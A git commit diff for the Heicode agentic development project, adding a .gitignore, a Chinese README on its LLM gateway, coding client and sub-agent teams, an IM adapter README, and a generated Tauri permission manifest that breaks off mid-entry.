commit 0c84dde85b0a5b89bf8fab402002ca1ac5f3f3a2
Author: gongzhiyong <gjgongzhiyonggj@outlook.com>
Date:   Thu Apr 30 00:33:20 2026 +0800

    docs: Heicode 愿景范式、瀑布/敏捷子 Agnet 角色与规模
    
    - 新增 docs/vision-heicode-full-stack-agentic-dev.md（完整范式与 W1-W9 / A1-A8 角色）
    - 新增根 README.md 与 .gitignore（排除 node_modules、target 等）
    
    Made-with: Cursor

diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..2d5dd4c
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,31 @@
+# Dependencies
+node_modules/
+
+# Build / cache
+**/target/
+dist/
+build/
+.turbo/
+.next/
+*.tsbuildinfo
+
+# Environment
+.env
+.env.*
+!.env.example
+
+# OS / IDE
+.DS_Store
+.idea/
+.vscode/
+*.swp
+*.swo
+
+# Logs
+*.log
+logs/
+
+# Go
+*.exe
+*.test
+*.out
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..9ffee0a
--- /dev/null
+++ b/README.md
@@ -0,0 +1,32 @@
+# Heicode
+
+Heicode 是一个**面向团队的智能体驱动软件交付**工作区：把 **改造后的大模型网关（New API）**、**终端与桌面上的智能体编程客户端（cc-haha）**，以及 **Agnet 平台上的子智能体团队** 串成一条从想法到上线、再到运维迭代的闭环。
+
+## 这个仓库里有什么
+
+| 目录 | 作用 |
+|------|------|
+| `new-api/` | 基于 New API 生态的 **网关与运营能力**（模型渠道、计费、鉴权、多协议中继等），经深度改造后作为用户登录后看到的 **后台与 API 能力层**。 |
+| `cc-haha/` | **CLI / 本地服务 / Desktop（Tauri）** 相关代码，提供类 **Claude Code** 的编程与协作体验，并与 New API 对齐登录与接口。 |
+| `_all-in-one-upload/` | 历史或打包上传相关目录（按需维护）。 |
+
+## 产品在解决什么问题
+
+- **自动化开发范式**：不止「写代码」，而是覆盖需求、实现、测试、**多云部署**、运维与迭代的 **标准化团队模式**（瀑布 / 敏捷模板 + 子智能体规模可配置）。
+- **平台整合**：用户从官网进入 → 使用改造后的 **New API** 控制台 → 下载 **CLI** 与 **Desktop** → 与 **Agnet** 上已部署的 **子智能体团队** 协同；子智能体可具备 Git 与云资源（GCP / AWS / Azure）的**策略化**自动化能力。
+- **可审计交付**：多智能体协作记录、产品文档、开发日志等与版本和发布关联。
+
+## 详细愿景与范式说明
+
+完整的产品叙事、三问回答、架构分层、用户旅程、**瀑布（5～9）与敏捷（3～8）子 Agnet 角色清单**、风险与路线图见：
+
+**[docs/vision-heicode-full-stack-agentic-dev.md](./docs/vision-heicode-full-stack-agentic-dev.md)**
+
+## 相关外部参考（概念）
+
+- [oh-my-claudecode](https://ohmyclaudecode.com/) — 高效使用 Claude Code 类工具的实践与脚手架方向。  
+- Agnet 平台文档（部署与编排由平台侧提供）— 集成时以平台当前 API 与权限模型为准。
+
+## 许可证
+
+各子项目可能沿用不同开源许可证（例如 `new-api` 侧常见为 AGPLv3），请以各子目录内 `LICENSE` 为准。
diff --git a/_all-in-one-upload/cc-haha/adapters/README.md b/_all-in-one-upload/cc-haha/adapters/README.md
new file mode 100644
index 0000000..fbc41f7
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/adapters/README.md
@@ -0,0 +1,87 @@
+# Claude Code IM Adapters
+
+当前目录只放 IM Adapter 运行时代码。
+
+用户文档已经迁移到 `docs/`，并且以 Desktop Webapp 配置流程为准：
+
+- `docs/im/index.md`
+- `docs/im/telegram.md`
+- `docs/im/feishu.md`
+
+## 当前方案摘要
+
+当前真实链路是：
+
+```text
+Desktop Webapp Settings
+  -> /api/adapters
+  -> ~/.claude/adapters.json
+  -> adapters/<platform>/index.ts
+  -> /api/sessions + /ws/:sessionId
+  -> Claude Code session
+```
+
+注意两点：
+
+- IM 配置和配对都在 Desktop Webapp 的 `Settings -> IM 接入`
+- Webapp 不会自动启动 Adapter 进程，仍需手动运行 `bun run telegram` 或 `bun run feishu`
+
+## 快速启动
+
+```bash
+cd adapters
+bun install
+bun run telegram
+# 或
+bun run feishu
+```
+
+## 开发
+
+### 运行测试
+
+```bash
+cd adapters
+bun test
+bun test common/
+bun test telegram/
+bun test feishu/
+```
+
+### 目录结构
+
+```text
+adapters/
+├── common/
+│   └── attachment/        # 跨平台附件工具(types / limits / store / image-watcher)
+├── telegram/
+│   └── media.ts           # TelegramMediaService(grammy Bot API 封装)
+├── feishu/
+│   ├── media.ts           # FeishuMediaService(@larksuiteoapi/node-sdk 封装)
+│   └── extract-payload.ts # 入站 im.message.receive_v1 事件解析
+├── package.json
+├── tsconfig.json
+└── README.md
+```
+
+## 附件收发
+
+两个 Adapter 都支持双向图片/文件,和 Desktop 端走同一套 `AttachmentRef` 协议透传给主进程。
+
+**入站(用户 → Claude):**
+
+- 飞书: 图片(jpg/png/gif/webp/heic)、文档(doc/xls/ppt/pdf 等)、post 富文本里的 img/file 元素
+- Telegram: photo、document、video、audio、voice
+
+下载落地到 `~/.claude/im-downloads/{platform}/{sessionId}/`,24 小时后自动 GC(`.part` 孤文件 10 分钟超时)。大小限制:单张图 ≤10 MB、单个文件 ≤30 MB,超限直接拒收并在 IM 里提示。
+
+**出站(Claude → 用户):**
+
+Agent 流式文本里的 markdown 图片引用 `![alt](path|url|data:)` 会被 `ImageBlockWatcher` 识别、上传到 IM 平台,作为独立图片消息发出:
+
+- 飞书: `im.message.create(msg_type='image')` 单发(card 内嵌是后续优化)
+- Telegram: `bot.api.sendPhoto(InputFile)` 单发
+
+非图片类出站(Agent 产的 pdf/zip 等)暂不支持。
+
+设计细节: `docs/superpowers/specs/2026-04-11-im-attachment-support-design.md`。
diff --git a/_all-in-one-upload/cc-haha/desktop/src-tauri/gen/schemas/acl-manifests.json b/_all-in-one-upload/cc-haha/desktop/src-tauri/gen/schemas/acl-manifests.json
new file mode 100644
index 0000000..ff2a40c
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/desktop/src-tauri/gen/schemas/acl-manifests.json
@@ -0,0 +1 @@
+{"core":{"default_permission":{"identifier":"default","description":"Default core plugins set.","permissions":["core:path:default","core:event:default","core:window:default","core:webview:default","core:app:default","core:image:default","core:resources:default","core:menu:default","core:tray:default"]},"permissions":{},"permission_sets":{},"global_scope_schema":null},"core:app":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-version","allow-name","allow-tauri-version","allow-identifier","allow-bundle-type","allow-register-listener","allow-remove-listener"]},"permissions":{"allow-app-hide":{"identifier":"allow-app-hide","description":"Enables the app_hide command without any pre-configured scope.","commands":{"allow":["app_hide"],"deny":[]}},"allow-app-show":{"identifier":"allow-app-show","description":"Enables the app_show command without any pre-configured scope.","commands":{"allow":["app_show"],"deny":[]}},"allow-bundle-type":{"identifier":"allow-bundle-type","description":"Enables the bundle_type command without any pre-configured scope.","commands":{"allow":["bundle_type"],"deny":[]}},"allow-default-window-icon":{"identifier":"allow-default-window-icon","description":"Enables the default_window_icon command without any pre-configured scope.","commands":{"allow":["default_window_icon"],"deny":[]}},"allow-fetch-data-store-identifiers":{"identifier":"allow-fetch-data-store-identifiers","description":"Enables the fetch_data_store_identifiers command without any pre-configured scope.","commands":{"allow":["fetch_data_store_identifiers"],"deny":[]}},"allow-identifier":{"identifier":"allow-identifier","description":"Enables the identifier command without any pre-configured scope.","commands":{"allow":["identifier"],"deny":[]}},"allow-name":{"identifier":"allow-name","description":"Enables the name command without any pre-configured scope.","commands":{"allow":["name"],"deny":[]}},"allow-register-listener":{"identifier":"allow-register-listener","description":"Enables the register_listener command without any pre-configured scope.","commands":{"allow":["register_listener"],"deny":[]}},"allow-remove-data-store":{"identifier":"allow-remove-data-store","description":"Enables the remove_data_store command without any pre-configured scope.","commands":{"allow":["remove_data_store"],"deny":[]}},"allow-remove-listener":{"identifier":"allow-remove-listener","description":"Enables the remove_listener command without any pre-configured scope.","commands":{"allow":["remove_listener"],"deny":[]}},"allow-set-app-theme":{"identifier":"allow-set-app-theme","description":"Enables the set_app_theme command without any pre-configured scope.","commands":{"allow":["set_app_theme"],"deny":[]}},"allow-set-dock-visibility":{"identifier":"allow-set-dock-visibility","description":"Enables the set_dock_visibility command without any pre-configured scope.","commands":{"allow":["set_dock_visibility"],"deny":[]}},"allow-tauri-version":{"identifier":"allow-tauri-version","description":"Enables the tauri_version command without any pre-configured scope.","commands":{"allow":["tauri_version"],"deny":[]}},"allow-version":{"identifier":"allow-version","description":"Enables the version command without any pre-configured scope.","commands":{"allow":["version"],"deny":[]}},"deny-app-hide":{"identifier":"deny-app-hide","description":"Denies the app_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["app_hide"]}},"deny-app-show":{"identifier":"deny-app-show","description":"Denies the app_show command without any pre-configured scope.","commands":{"allow":[],"deny":["app_show"]}},"deny-bundle-type":{"identifier":"deny-bundle-type","description":"Denies the bundle_type command without any pre-configured scope.","commands":{"allow":[],"deny":["bundle_type"]}},"deny-default-window-icon":{"identifier":"deny-default-window-icon","description":"Denies the default_window_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["default_window_icon"]}},"deny-fetch-data-store-identifiers":{"identifier":"deny-fetch-data-store-identifiers","description":"Denies the fetch_data_store_identifiers command without any pre-configured scope.","commands":{"allow":[],"deny":["fetch_data_store_identifiers"]}},"deny-identifier":{"identifier":"deny-identifier","description":"Denies the identifier command without any pre-configured scope.","commands":{"allow":[],"deny":["identifier"]}},"deny-name":{"identifier":"deny-name","description":"Denies the name command without any pre-configured scope.","commands":{"allow":[],"deny":["name"]}},"deny-register-listener":{"identifier":"deny-register-listener","description":"Denies the register_listener command without any pre-configured scope.","commands":{"allow":[],"deny":["register_listener"]}},"deny-remove-data-store":{"identifier":"deny-remove-data-store","description":"Denies the remove_data_store command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_data_store"]}},"deny-remove-listener":{"identifier":"deny-remove-listener","description":"Denies the remove_listener command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_listener"]}},"deny-set-app-theme":{"identifier":"deny-set-app-theme","description":"Denies the set_app_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_app_theme"]}},"deny-set-dock-visibility":{"identifier":"deny-set-dock-visibility","description":"Denies the set_dock_visibility command without any pre-configured scope.","commands":{"allow":[],"deny":["set_dock_visibility"]}},"deny-tauri-version":{"identifier":"deny-tauri-version","description":"Denies the tauri_version command without any pre-configured scope.","commands":{"allow":[],"deny":["tauri_version"]}},"deny-version":{"identifier":"deny-version","description":"Denies the version command without any pre-configured scope.","commands":{"allow":[],"deny":["version"]}}},"permission_sets":{},"global_scope_schema":null},"core:event":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-listen","allow-unlisten","allow-emit","allow-emit-to"]},"permissions":{"allow-emit":{"identifier":"allow-emit","description":"Enables the emit command without any pre-configured scope.","commands":{"allow":["emit"],"deny":[]}},"allow-emit-to":{"identifier":"allow-emit-to","description":"Enables the emit_to command without any pre-configured scope.","commands":{"allow":["emit_to"],"deny":[]}},"allow-listen":{"identifier":"allow-listen","description":"Enables the listen command without any pre-configured scope.","commands":{"allow":["listen"],"deny":[]}},"allow-unlisten":{"identifier":"allow-unlisten","description":"Enables the unlisten command without any pre-configured scope.","commands":{"allow":["unlisten"],"deny":[]}},"deny-emit":{"identifier":"deny-emit","description":"Denies the emit command without any pre-configured scope.","commands":{"allow":[],"deny":["emit"]}},"deny-emit-to":{"identifier":"deny-emit-to","description":"Denies the emit_to command without any pre-configured scope.","commands":{"allow":[],"deny":["emit_to"]}},"deny-listen":{"identifier":"deny-listen","description":"Denies the listen command without any pre-configured scope.","commands":{"allow":[],"deny":["listen"]}},"deny-unlisten":{"identifier":"deny-unlisten","description":"Denies the unlisten command without any pre-configured scope.","commands":{"allow":[],"deny":["unlisten"]}}},"permission_sets":{},"global_scope_schema":null},"core:image":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-new","allow-from-bytes","allow-from-path","allow-rgba","allow-size"]},"permissions":{"allow-from-bytes":{"identifier":"allow-from-bytes","description":"Enables the from_bytes command without any pre-configured scope.","commands":{"allow":["from_bytes"],"deny":[]}},"allow-from-path":{"identifier":"allow-from-path","description":"Enables the from_path command without any pre-configured scope.","commands":{"allow":["from_path"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-rgba":{"identifier":"allow-rgba","description":"Enables the rgba command without any pre-configured scope.","commands":{"allow":["rgba"],"deny":[]}},"allow-size":{"identifier":"allow-size","description":"Enables the size command without any pre-configured scope.","commands":{"allow":["size"],"deny":[]}},"deny-from-bytes":{"identifier":"deny-from-bytes","description":"Denies the from_bytes command without any pre-configured scope.","commands":{"allow":[],"deny":["from_bytes"]}},"deny-from-path":{"identifier":"deny-from-path","description":"Denies the from_path command without any pre-configured scope.","commands":{"allow":[],"deny":["from_path"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-rgba":{"identifier":"deny-rgba","description":"Denies the rgba command without any pre-configured scope.","commands":{"allow":[],"deny":["rgba"]}},"deny-size":{"identifier":"deny-size","description":"Denies the size command without any pre-configured scope.","commands":{"allow":[],"deny":["size"]}}},"permission_sets":{},"global_scope_schema":null},"core:menu":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-new","allow-append","allow-prepend","allow-insert","allow-remove","allow-remove-at","allow-items","allow-get","allow-popup","allow-create-default","allow-set-as-app-menu","allow-set-as-window-menu","allow-text","allow-set-text","allow-is-enabled","allow-set-enabled","allow-set-accelerator","allow-set-as-windows-menu-for-nsapp","allow-set-as-help-menu-for-nsapp","allow-is-checked","allow-set-checked","allow-set-icon"]},"permissions":{"allow-append":{"identifier":"allow-append","description":"Enables the append command without any pre-configured scope.","commands":{"allow":["append"],"deny":[]}},"allow-create-default":{"identifier":"allow-create-default","description":"Enables the create_default command without any pre-configured scope.","commands":{"allow":["create_default"],"deny":[]}},"allow-get":{"identifier":"allow-get","description":"Enables the get command without any pre-configured scope.","commands":{"allow":["get"],"deny":[]}},"allow-insert":{"identifier":"allow-insert","description":"Enables the insert command without any pre-configured scope.","commands":{"allow":["insert"],"deny":[]}},"allow-is-checked":{"identifier":"allow-is-checked","description":"Enables the is_checked command without any pre-configured scope.","commands":{"allow":["is_checked"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-items":{"identifier":"allow-items","description":"Enables the items command without any pre-configured scope.","commands":{"allow":["items"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-popup":{"identifier":"allow-popup","description":"Enables the popup command without any pre-configured scope.","commands":{"allow":["popup"],"deny":[]}},"allow-prepend":{"identifier":"allow-prepend","description":"Enables the prepend command without any pre-configured scope.","commands":{"allow":["prepend"],"deny":[]}},"allow-remove":{"identifier":"allow-remove","description":"Enables the remove command without any pre-configured scope.","commands":{"allow":["remove"],"deny":[]}},"allow-remove-at":{"identifier":"allow-remove-at","description":"Enables the remove_at command without any pre-configured scope.","commands":{"allow":["remove_at"],"deny":[]}},"allow-set-accelerator":{"identifier":"allow-set-accelerator","description":"Enables the set_accelerator command without any pre-configured scope.","commands":{"allow":["set_accelerator"],"deny":[]}},"allow-set-as-app-menu":{"identifier":"allow-set-as-app-menu","description":"Enables the set_as_app_menu command without any pre-configured scope.","commands":{"allow":["set_as_app_menu"],"deny":[]}},"allow-set-as-help-menu-for-nsapp":{"identifier":"allow-set-as-help-menu-for-nsapp","description":"Enables the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_help_menu_for_nsapp"],"deny":[]}},"allow-set-as-window-menu":{"identifier":"allow-set-as-window-menu","description":"Enables the set_as_window_menu command without any pre-configured scope.","commands":{"allow":["set_as_window_menu"],"deny":[]}},"allow-set-as-windows-menu-for-nsapp":{"identifier":"allow-set-as-windows-menu-for-nsapp","description":"Enables the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_windows_menu_for_nsapp"],"deny":[]}},"allow-set-checked":{"identifier":"allow-set-checked","description":"Enables the set_checked command without any pre-configured scope.","commands":{"allow":["set_checked"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-text":{"identifier":"allow-set-text","description":"Enables the set_text command without any pre-configured scope.","commands":{"allow":["set_text"],"deny":[]}},"allow-text":{"identifier":"allow-text","description":"Enables the text command without any pre-configured scope.","commands":{"allow":["text"],"deny":[]}},"deny-append":{"identifier":"deny-append","description":"Denies the append command without any pre-configured scope.","commands":{"allow":[],"deny":["append"]}},"deny-create-default":{"identifier":"deny-create-default","description":"Denies the create_default command without any pre-configured scope.","commands":{"allow":[],"deny":["create_default"]}},"deny-get":{"identifier":"deny-get","description":"Denies the get command without any pre-configured scope.","commands":{"allow":[],"deny":["get"]}},"deny-insert":{"identifier":"deny-insert","description":"Denies the insert command without any pre-configured scope.","commands":{"allow":[],"deny":["insert"]}},"deny-is-checked":{"identifier":"deny-is-checked","description":"Denies the is_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["is_checked"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-items":{"identifier":"deny-items","description":"Denies the items command without any pre-configured scope.","commands":{"allow":[],"deny":["items"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-popup":{"identifier":"deny-popup","description":"Denies the popup command without any pre-configured scope.","commands":{"allow":[],"deny":["popup"]}},"deny-prepend":{"identifier":"deny-prepend","description":"Denies the prepend command without any pre-configured scope.","commands":{"allow":[],"deny":["prepend"]}},"deny-remove":{"identifier":"deny-remove","description":"Denies the remove command without any pre-configured scope.","commands":{"allow":[],"deny":["remove"]}},"deny-remove-at":{"identifier":"deny-remove-at","description":"Denies the remove_at command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_at"]}},"deny-set-accelerator":{"identifier":"deny-set-accelerator","description":"Denies the set_accelerator command without any pre-configured scope.","commands":{"allow":[],"deny":["set_accelerator"]}},"deny-set-as-app-menu":{"identifier":"deny-set-as-app-menu","description":"Denies the set_as_app_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_app_menu"]}},"deny-set-as-help-menu-for-nsapp":{"identifier":"deny-set-as-help-menu-for-nsapp","description":"Denies the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_help_menu_for_nsapp"]}},"deny-set-as-window-menu":{"identifier":"deny-set-as-window-menu","description":"Denies the set_as_window_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_window_menu"]}},"deny-set-as-windows-menu-for-nsapp":{"identifier":"deny-set-as-windows-menu-for-nsapp","description":"Denies the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_windows_menu_for_nsapp"]}},"deny-set-checked":{"identifier":"deny-set-checked","description":"Denies the set_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["set_checked"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-text":{"identifier":"deny-set-text","description":"Denies the set_text command without any pre-configured scope.","commands":{"allow":[],"deny":["set_text"]}},"deny-text":{"identifier":"deny-text","description":"Denies the text command without any pre-configured scope.","commands":{"allow":[],"deny":["text"]}}},"permission_sets":{},"global_scope_schema":null},"core:path":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-resolve-directory","allow-resolve","allow-normalize","allow-join","allow-dirname","allow-extname","allow-basename","allow-is-absolute"]},"permissions":{"allow-basename":{"identifier":"allow-basename","description":"Enables the basename command without any pre-configured scope.","commands":{"allow":["basename"],"deny":[]}},"allow-dirname":{"identifier":"allow-dirname","description":"Enables the dirname command without any pre-configured scope.","commands":{"allow":["dirname"],"deny":[]}},"allow-extname":{"identifier":"allow-extname","description":"Enables the extname command without any pre-configured scope.","commands":{"allow":["extname"],"deny":[]}},"allow-is-absolute":{"identifier":"allow-is-absolute","description":"Enables the is_absolute command without any pre-configured scope.","commands":{"allow":["is_absolute"],"deny":[]}},"allow-join":{"identifier":"allow-join","description":"Enables the join command without any pre-configured scope.","commands":{"allow":["join"],"deny":[]}},"allow-normalize":{"identifier":"allow-normalize","description":"Enables the normalize command without any pre-configured scope.","commands":{"allow":["normalize"],"deny":[]}},"allow-resolve":{"identifier":"allow-resolve","description":"Enables the resolve command without any pre-configured scope.","commands":{"allow":["resolve"],"deny":[]}},"allow-resolve-directory":{"identifier":"allow-resolve-directory","description":"Enables the resolve_directory command without any pre-configured scope.","commands":{"allow":["resolve_directory"],"deny":[]}},"deny-basename":{"identifier":"deny-basename","description":"Denies the basename command without any pre-configured scope.","commands":{"allow":[],"deny":["basename"]}},"deny-dirname":{"identifier":"deny-dirname","description":"Denies the dirname command without any pre-configured scope.","commands":{"allow":[],"deny":["dirname"]}},"deny-extname":{"identifier":"deny-extname","description":"Denies the extname command without any pre-configured scope.","commands":{"allow":[],"deny":["extname"]}},"deny-is-absolute":{"identifier":"deny-is-absolute","description":"Denies the is_absolute command without any pre-configured scope.","commands":{"allow":[],"deny":["is_absolute"]}},"deny-join":{"identifier":"deny-join","description":"Denies the join command without any pre-configured scope.","commands":{"allow":[],"deny":["join"]}},"deny-normalize":{"identifier":"deny-normalize","description":"Denies the normalize command without any pre-configured scope.","commands":{"allow":[],"deny":["normalize"]}},"deny-resolve":{"identifier":"deny-resolve","description":"Denies the resolve command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve"]}},"deny-resolve-directory":{"identifier":"deny-resolve-directory","description":"Denies the resolve_directory command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve_directory"]}}},"permission_sets":{},"global_scope_schema":null},"core:resources":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-close"]},"permissions":{"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}}},"permission_sets":{},"global_scope_schema":null},"core:tray":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-new","allow-get-by-id","allow-remove-by-id","allow-set-icon","allow-set-menu","allow-set-tooltip","allow-set-title","allow-set-visible","allow-set-temp-dir-path","allow-set-icon-as-template","allow-set-show-menu-on-left-click"]},"permissions":{"allow-get-by-id":{"identifier":"allow-get-by-id","description":"Enables the get_by_id command without any pre-configured scope.","commands":{"allow":["get_by_id"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-remove-by-id":{"identifier":"allow-remove-by-id","description":"Enables the remove_by_id command without any pre-configured scope.","commands":{"allow":["remove_by_id"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-icon-as-template":{"identifier":"allow-set-icon-as-template","description":"Enables the set_icon_as_template command without any pre-configured scope.","commands":{"allow":["set_icon_as_template"],"deny":[]}},"allow-set-menu":{"identifier":"allow-set-menu","description":"Enables the set_menu command without any pre-configured scope.","commands":{"allow":["set_menu"],"deny":[]}},"allow-set-show-menu-on-left-click":{"identifier":"allow-set-show-menu-on-left-click","description":"Enables the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":["set_show_menu_on_left_click"],"deny":[]}},"allow-set-temp-dir-path":{"identifier":"allow-set-temp-dir-path","description":"Enables the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":["set_temp_dir_path"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-tooltip":{"identifier":"allow-set-tooltip","description":"Enables the set_tooltip command without any pre-configured scope.","commands":{"allow":["set_tooltip"],"deny":[]}},"allow-set-visible":{"identifier":"allow-set-visible","description":"Enables the set_visible command without any pre-configured scope.","commands":{"allow":["set_visible"],"deny":[]}},"deny-get-by-id":{"identifier":"deny-get-by-id","description":"Denies the get_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["get_by_id"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-remove-by-id":{"identifier":"deny-remove-by-id","description":"Denies the remove_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_by_id"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-icon-as-template":{"identifier":"deny-set-icon-as-template","description":"Denies the set_icon_as_template command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon_as_template"]}},"deny-set-menu":{"identifier":"deny-set-menu","description":"Denies the set_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_menu"]}},"deny-set-show-menu-on-left-click":{"identifier":"deny-set-show-menu-on-left-click","description":"Denies the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":[],"deny":["set_show_menu_on_left_click"]}},"deny-set-temp-dir-path":{"identifier":"deny-set-temp-dir-path","description":"Denies the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":[],"deny":["set_temp_dir_path"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-tooltip":{"identifier":"deny-set-tooltip","description":"Denies the set_tooltip command without any pre-configured scope.","commands":{"allow":[],"deny":["set_tooltip"]}},"deny-set-visible":{"identifier":"deny-set-visible","description":"Denies the set_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible"]}}},"permission_sets":{},"global_scope_schema":null},"core:webview":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-webviews","allow-webview-position","allow-webview-size","allow-internal-toggle-devtools"]},"permissions":{"allow-clear-all-browsing-data":{"identifier":"allow-clear-all-browsing-data","description":"Enables the clear_all_browsing_data command without any pre-configured scope.","commands":{"allow":["clear_all_browsing_data"],"deny":[]}},"allow-create-webview":{"identifier":"allow-create-webview","description":"Enables the create_webview command without any pre-configured scope.","commands":{"allow":["create_webview"],"deny":[]}},"allow-create-webview-window":{"identifier":"allow-create-webview-window","description":"Enables the create_webview_window command without any pre-configured scope.","commands":{"allow":["create_webview_window"],"deny":[]}},"allow-get-all-webviews":{"identifier":"allow-get-all-webviews","description":"Enables the get_all_webviews command without any pre-configured scope.","commands":{"allow":["get_all_webviews"],"deny":[]}},"allow-internal-toggle-devtools":{"identifier":"allow-internal-toggle-devtools","description":"Enables the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":["internal_toggle_devtools"],"deny":[]}},"allow-print":{"identifier":"allow-print","description":"Enables the print command without any pre-configured scope.","commands":{"allow":["print"],"deny":[]}},"allow-reparent":{"identifier":"allow-reparent","description":"Enables the reparent command without any pre-configured scope.","commands":{"allow":["reparent"],"deny":[]}},"allow-set-webview-auto-resize":{"identifier":"allow-set-webview-auto-resize","description":"Enables the set_webview_auto_resize command without any pre-configured scope.","commands":{"allow":["set_webview_auto_resize"],"deny":[]}},"allow-set-webview-background-color":{"identifier":"allow-set-webview-background-color","description":"Enables the set_webview_background_color command without any pre-configured scope.","commands":{"allow":["set_webview_background_color"],"deny":[]}},"allow-set-webview-focus":{"identifier":"allow-set-webview-focus","description":"Enables the set_webview_focus command without any pre-configured scope.","commands":{"allow":["set_webview_focus"],"deny":[]}},"allow-set-webview-position":{"identifier":"allow-set-webview-position","description":"Enables the set_webview_position command without any pre-configured scope.","commands":{"allow":["set_webview_position"],"deny":[]}},"allow-set-webview-size":{"identifier":"allow-set-webview-size","description":"Enables the set_webview_size command without any pre-configured scope.","commands":{"allow":["set_webview_size"],"deny":[]}},"allow-set-webview-zoom":{"identifier":"allow-set-webview-zoom","description":"Enables the set_webview_zoom command without any pre-configured scope.","commands":{"allow":["set_webview_zoom"],"deny":[]}},"allow-webview-close":{"identifier":"allow-webview-close","description":"Enables the webview_close command without any pre-configured scope.","commands":{"allow":["webview_close"],"deny":[]}},"allow-webview-hide":{"identifier":"allow-webview-hide","description":"Enables the webview_hide command without any pre-configured scope.","commands":{"allow":["webview_hide"],"deny":[]}},"allow-webview-position":{"identifier":"allow-webview-position","description":"Enables the webview_position command without any pre-configured scope.","commands":{"allow":["webview_position"],"deny":[]}},"allow-webview-show":{"identifier":"allow-webview-show","description":"Enables the webview_show command without any pre-configured scope.","commands":{"allow":["webview_show"],"deny":[]}},"allow-webview-size":{"identifier":"allow-webview-size","description":"Enables the webview_size command without any pre-configured scope.","commands":{"allow":["webview_size"],"deny":[]}},"deny-clear-all-browsing-data":{"identifier":"deny-clear-all-browsing-data","description":"Denies the clear_all_browsing_data command without any pre-configured 